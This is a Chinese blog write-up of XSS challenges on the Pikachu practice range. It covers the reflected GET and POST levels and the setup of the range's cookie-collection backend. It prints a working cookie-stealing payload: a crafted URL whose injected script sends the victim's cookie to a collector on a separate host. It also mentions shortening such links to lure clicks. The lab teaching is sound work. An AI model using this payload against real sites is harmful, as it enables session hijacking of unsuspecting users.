PiKachu之XSS(跨站脚本)

XSS概述

Cross-Site Scripting 简称为“CSS”,为避免与前端叠成样式表的缩写"CSS"冲突,故又称XSS。一般XSS可以分为如下几种常见类型:

1.反射性XSS;
2.存储型XSS;
3.DOM型XSS;


XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。
XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。
形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。
因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理:

输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入;
输出转义:根据输出点的位置对输出到前端的内容进行适当转义;


你可以通过“Cross-Site Scripting”对应的测试栏目,来进一步的了解该漏洞。

 

 

 

一、反射型XSS (Get)

当输入内容时,  内容被执行写入当网页:

所以可以直接注入:

<script>alert(document.cookie)</script>

发现前端对输入的长度有限制: 

解决方法有两个:

  • 方法一:  修改前端网页代码

看到对应的input标签maxlength是20:

修改为100后,  可以输入完整的长度:

弹窗成功:

  • 方法二:  抓包修改

 

 

 

二、反射型XSS (Post)

首先网站为了更好理解利用xss盗取用户的cookie,  模拟了一个用户登录的过程:

登录成功后,  就和Get型一样的界面了:

虽然界面是一样的,  但是请求方式不一样,    用户先经过POST请求登录,  然后再在当前界面用GET来提交信息:

 

分析

有的人会问,  这两关有什么区别吗?

当然有区别,  在xss GET方式中,  攻击者可以直接伪造一个已经构造好的攻击网址,  比如:

http://localhost/pikachu-master/vul/xss/xss_reflected_get.php?message=<script>document.location = 'http://192.168.10.100/pikachu-master/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>&submit=submit

来诱使用户点击,  盗取用户的cookie

其中,  http://192.168.10.100/pikachu-master/pikachu/pkxss/xcookie/cookie.php?cookie=. 是攻击者自己收集受害用户cookie的网址,  

有的人还问,  这么明显的攻击网址,  没人会点。

是的,  的确看到的人都不会点,  但是攻击者会去缩短、包装攻击这个网址。

那么, 在POST方式的xss中,  与GET不同的是:

1.  GET方式中,  攻击代码是直接暴露在URL中的

2.  POST方式参数内容不会出现在URL中

因为在POST方式中,  就算将构造好(含攻击代码)的URL给用户点击了,  也不会直接触发拿到cookie,  反而会直接弹出用户登录提示。

这时候我们就得用一个服务器(攻击者的),  伪造POST请求去登录, 并且盗取用户登录成功后的cookie

 

xss后台搭建

这边pikachu靶场自带了一个xss后台,  地址为:

http://localhost/pikachu-master/pkxss/index.php

ps:  pkxss目录下还有一个inc/config.inc.php文件需要配置,  配置完成之后,  访问上面地址,  初始化数据库:

里面有3个模块:

然后cookie收集中,  就是攻击者收集受害者cookie的地方:

评论 6
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值